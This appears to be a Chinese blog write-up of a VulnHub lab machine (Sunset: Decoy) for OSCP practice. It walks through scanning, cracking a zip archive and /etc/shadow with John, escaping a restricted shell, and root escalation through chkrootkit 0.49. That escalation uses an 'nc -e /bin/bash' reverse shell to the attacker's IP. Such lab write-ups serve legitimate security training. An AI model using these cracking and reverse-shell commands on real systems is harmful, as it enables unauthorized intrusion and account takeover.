靶机实战(5):OSCP备考之VulnHub SUNSET DECOY

靶机官网:SUNSET: DECOY[1]

实战思路:

  1. 主机发现

  2. 端口发现(服务、组件、版本) 1

  3. 漏洞发现(获取权限) 2

    1. 22端口/SSH服务 2

      1. 组件漏洞 2

      2. 口令漏洞 2

    2. 80端口/HTTP服务 2

      1. 组件漏洞 2

      2. URL漏洞(目录、文件) 3

  4. 越权提权 6

      1. 01、sudo 6

      2. 02、suid

      3. 03、信息收集 7

      4. 04、tty 9

      5. 05、sudo 9

      6. 06、suid

      7. 07、信息收集 11

      8. 08、chkrootkit

一、主机发现

本次攻击指定IP,不涉及主机发现过程。

二、端口发现(服务、组件、版本)

使用命令sudo -u root nmap 172.16.33.40 -n -Pn -p- --reason -sV -sC -O获得主机开放的端口、提供的服务、使用的组件、组件的版本。

47c0d4caf8cee23b73bed256a9c1bdec.png

开放的端口

提供的服务

使用的组件

组件的版本

22/tcp

ssh

OpenSSH

7.9p1

80/tcp

http

Apache httpd

2.4.38

-

os

Debian Linux

三、漏洞发现(获取权限)

22端口/SSH服务

组件漏洞

使用命令searchsploit OpenSSH 7.,未发现OpenSSH 7.9p1组件的Nday漏洞。

89670abbec038f1e9d487a428de31b2f.png

口令漏洞

使用命令 hydra -C /usr/share/seclists/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt 172.16.33.40 ssh,未发现弱口令漏洞。

e0613bde7500b74e49a32533075b3135.png

80端口/HTTP服务

组件漏洞

使用命令searchsploit Apache httpd 2.4.,未发现Apache httpd 2.4.38组件的Nday漏洞。

323033839fb8d7117d57420ccdfdc3e0.png

使用Wappalyzer、FindSomething等插件识别网站组件,无收获。

d8d2813dd579216ca7f06532dfd162c5.png

URL漏洞(目录、文件)

01、手动浏览:访问首页http://172.16.33.30/,发现压缩文件save.zip

b42341853d93944022f79694c8a165f5.png

下载后,使用命令unzip save.zip进行解压缩,发现需要解压密码。使用命令zipinfo save.zip查看压缩包里的文件,发现/etc/shadow文件,如果能获取到,并爆破出SSH密码,就能登录SSH服务了。

db51b14f441f3cde35059b9b21713257.png

使用命令zip2john save.zip > save.zip.hashjohn save.zip.hash爆破压缩包的解压密码,获得save.zip的解压密码manuel

b11eb40610f8eb04a70324f86b873951.png

使用命令unzip save.zip进行解压缩,使用命令cat ./etc/shadow查看SSH用户的密码情况,发现root用户和296640a3b825115a47b68fc44501c828用户具有SSH密码。

使用命令cat ./etc/passwd | grep -v nologin$查看允许登录的SSH用户,发现root用户和296640a3b825115a47b68fc44501c828用户允许登录。

4504ba02014b4b40cc1fbeec4b27c6fd.png

使用命令sudo john ./etc/shadow --format=crypt爆破./etc/shadow文件中的SSH密码,获得SSH用户296640a3b825115a47b68fc44501c828的SSH密码server

76daab60bb0a50405df082c534545329.png

使用命令ssh 296640a3b825115a47b68fc44501c828@172.16.33.40成功登录SSH服务,但是这个/bin/rbash的命令行还挺受限的。

99a573042b5596533cfbf26fa271e87a.png

02、目录扫描:使用命令dirb http://172.16.33.40/ /usr/share/seclists/Discovery/Web-Content/common.txt -R对网站目录和文件进行遍历,没有任何发现。

9af2d25e6b8cfba801a7e64526bccf44.png

03、模糊测试:基于目前已知信息,没有对网站的目录和文件进行FUZZ的必要。

04、信息收集:前面在Firefox翻找网站的流量全都走Burp Suite代理,在Burp Suite中未发现敏感信息泄露。

6fda557e88c7029319e35732e3024a55.png

四、越权提权

01、sudo

使用命令sudo -l查看296640a3b825115a47b68fc44501c828用户的特权命令,发现没有sudo命令。

ae86d5527d44c98d9564c31f3b1a60ba.png

02、suid

使用命令find / -perm -u=s -ls 2>/dev/null查看系统的特权程序,发现没有find命令。

66edb755608ae787d64ff49138e54c10.png

正常的操作系统不会没有这些系统命令呀,难道是环境变量出错了?使用命令echo $PATH查看环境变量,确实没有系统命令的存放路径。

使用命令PATH=/usr/bin:$PATH添加find命令的存放路径,发现只有读权限,无法添加。

84c769905ef11268942380c97c6b4d08.png

那就不依赖环境变量了,带上存放路径使用命令 /usr/bin/find / -perm -u=s -ls,提示命令名称中不能带有/,这个方法也得堵死了。

f98fe46d848813f45713ff58a7b261a2.png

那就去到find命令的存放路径下,直接调用find吧,这样就不会在命令名称中带有/了。使用命令cd /usr/bin/cd,提示cd命令用不了,看来这条路完全堵死了。

94ef0dc4a9daf64d36a1dfe70c5832e7.png

03、信息收集

使用命令ls -la查看文件情况,发现不少有意思的文件,但是都无法查看。

f2f644abc0f888a9734e8bd605b9da43.png

使用命令scp 296640a3b825115a47b68fc44501c828@172.16.33.40:/home/296640a3b825115a47b68fc44501c828/ ./下载到本地查看,也以失败告终。

9ba29870fe1bd07adcdb43eb439a6e6b.png

执行honeypot.decoy程序,发现选项7可以打开vim编辑器,在vim编辑器中使用命令:e 文件名可以查看文件。

经过排查发现只有user.txt文件存在有效内容35253d886842075b2c6390f35946e41f。该内容在CyberChef[2]解码无果,在CMD5[3]查有结果但需付费,所以目前怀疑该内容是root账号的SSH密码的md5值,当然,你也可以说这是个flag。

d240ada800c1704244ddb2e5cf1108fe.png

823f8a0599a327a86852d568eea72c84.png

2878a30c4eb2f1839c3d3e4006812056.png

c373878e1fbf202b99f0ab05a2375877.png

04、tty

经过网上搜索和man ssh手册查询,发现ssh命令使用参数-t "bash --noprofile"可以强制分配伪终端,从而解决命令行受限问题,例如能够添加环境变量了。

baa1d466fb85771772e3d1e6fbfdf8ac.png

使用命令ssh 296640a3b825115a47b68fc44501c828@172.16.33.40 -t "bash --noprofile"以强制分配伪终端的方式登录SSH服务。

使用命令PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games:$PATH为命令行添加(从kali中获取的)环境变量,从而获得正常的命令行环境。

172029b73fa8aea21112fad3833b2c09.png

05、sudo

使用命令sudo -l查看296640a3b825115a47b68fc44501c828用户的特权命令,发现该用户没有执行sudo命令的权限。

9e90570cad2997fa231509e81e683747.png

06、suid

使用命令find / -perm -u=s -ls 2>/dev/null查看特权程序,在GTFOBins[4]中未发现可以提权的命令。

a441a4981ab2aa2e8295cca3698f5b39.png

07、信息收集

使用命令ls -lacd,发现pspy的日志文件。pspy是Linux系统的进程监控工具,可以记录进程的运行情况,包括启动进程的命令,一定程度上类似于详细版的history命令。

60263483e01f6101f2a68352bb943899.png

在pspy的日志文件中,发现曾经执行过解压chkrootkit-0.49.tar.gz文件的命令,也就是系统可能使用0.49版本的chkrootkit程序。

34dff1d388e044a5ae0a8f50c6a23756.png

0.49版本的chkrootkit程序之所以特别,是因为存在本地提权漏洞,使用命令searchsploit chkrootkit可以查询到漏洞情况。

d9469ba1f8ec712d9d6569ac8f05b678.png

但奇怪的是系统中并未发现chkrootkit相关的文件,难道是曾经使用过但后来删了?又或者是存放在/root/等当前用户没有查看权限的目录中?

d5036b40741a335f4be5527234e609c6.png

回想前面发现的honeypot.decoy程序,里面的AV Scan病毒扫描功能,会不会集成了chkrootkit的后门检查能力呢?

b38a505070e36486db0928773da6ea2e.png

验证方式一:使用命令strings honeypot.decoy查看honeypot.decoy程序中的字符串内容,可以看到8个功能对应的底层能力,例如1 Date功能是执行/usr/bin/date命令,3 Shutdown功能是打印Shutdown is currently not available due to not enough privileges. Ending program.内容,5 Launch an AV Scan 功能是执行/usr/bin/touch /dev/shm/STTY5246命令并打印The AV Scan will be launched in a minute or less.内容。

令人失望的是,没有看到AV Scan病毒扫描功能集成chkrootkit的后门检查能力的代码。

0b347c9ebc5b5d4a22e4243a3f00415b.png

验证方式二:使用命令for i in $(seq 1 300); do ps -ef | grep -v grep | grep chkrootkit; sleep 1; done;观察5分钟内的进程运行情况。

同时在新的窗口中,使用命令/usr/bin/touch /dev/shm/STTY5246,或者使用程序honeypot.decoy的功能5 Launch an AV Scan.,或者甚至什么也不做,都能发现root用户会执行/bin/sh /root/chkrootkit-0.49/chkrootkit命令,使用0.49版本的chkrootkit程序来检查后门情况。

0909d2f27b06545a336da16c5b567ec0.png

08、chkrootkit

既然确认了root用户会执行0.49版本的chkrootkit程序,那就看看怎么提权。使用命令 searchsploit -m 33899将前面发现的EXP复制到当前目录下。

ddde2ed0ababc374d027518fabce5da4.png

使用命令cat 33899.txt查看EXP,发现漏洞利用方式是:1、使用非root用户,创建一个名为/tmp/update的可执行程序,内含提权代码;2、使用root用户,运行0.49版本的chkrootkit程序。

2f31cda7cf78d2f8ebbfa2ca18188813.png

第一步,使用非root用户,也就是当前的296640a3b825115a47b68fc44501c828用户,执行命令echo /bin/bash > /tmp/updatechmod +x /tmp/update,创建一个名为/tmp/update的可执行程序,内含提权代码。

第二步,使用root用户,运行0.49版本的chkrootkit程序,也就是通过使用命令/usr/bin/touch /dev/shm/STTY5246,或者使用程序honeypot.decoy的功能5 Launch an AV Scan.,或者甚至什么也不做,来调用root用户运行0.49版本的chkrootkit程序。

结果发现没有返回root权限的shell,原来不是当前用户296640a3b825115a47b68fc44501c828直接运行chkrootkit程序,所以返回的root权限shell不会给到296640a3b825115a47b68fc44501c828用户。

d6222c952eca540bcd560a4a25a59acf.png

返回shell不行,那就反弹shell吧。

第一步,使用非root用户,也就是当前的296640a3b825115a47b68fc44501c828用户,执行命令 echo nc -nv 10.8.0.110 4444 -e /bin/bash > /tmp/update,创建一个名为/tmp/update的可执行程序,内含提权代码。

第二步,使用root用户,运行0.49版本的chkrootkit程序,也就是通过使用命令/usr/bin/touch /dev/shm/STTY5246,或者使用程序honeypot.decoy的功能5 Launch an AV Scan.,或者甚至什么也不做,来调用root用户运行0.49版本的chkrootkit程序。

f42ea724e198453f419db213febdfa4a.png

同时在本地终端使用命令nc -nvlp 4444,就能获得反弹回来的root权限的shell了。

b646ef9b99cb46502f358068cbbccf16.png

后记:前面提到,需要使用命令/usr/bin/touch /dev/shm/STTY5246,或者使用程序honeypot.decoy的功能5 Launch an AV Scan.,来调用root用户运行0.49版本的chkrootkit程序。

但是你会发现,即使什么也不做,root用户也会执行/bin/sh /root/chkrootkit-0.49/chkrootkit命令。同时/dev/shm/STTY5246文件内容也是空的,那么chkrootkit程序到底是如何被root用户执行的呢?

7fd25a19abb7262e7936c790b80b7da6.png

在root权限下,使用命令ls -l发现root用户的家目录存在script.sh脚本,使用命令cat script.sh查看脚本内容,发现如果存在/dev/shm/STTY5246文件就会执行/root/chkrootkit-0.49/chkrootkit命令。使用命令crontab -l查看计划任务,发现root用户每分钟都会执行一次/root/script.sh脚本。

好吧,原来是这么回事,好一个假的honeypot.decoy程序。

85984325649971d90675e8d36e8328c7.png

参考资料

[1]

SUNSET: DECOY: https://www.vulnhub.com/entry/sunset-decoy,505/

[2]

CyberChef: https://gchq.github.io/CyberChef/

[3]

CMD5: https://cmd5.com/

[4]

GTFOBins: https://gtfobins.github.io/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值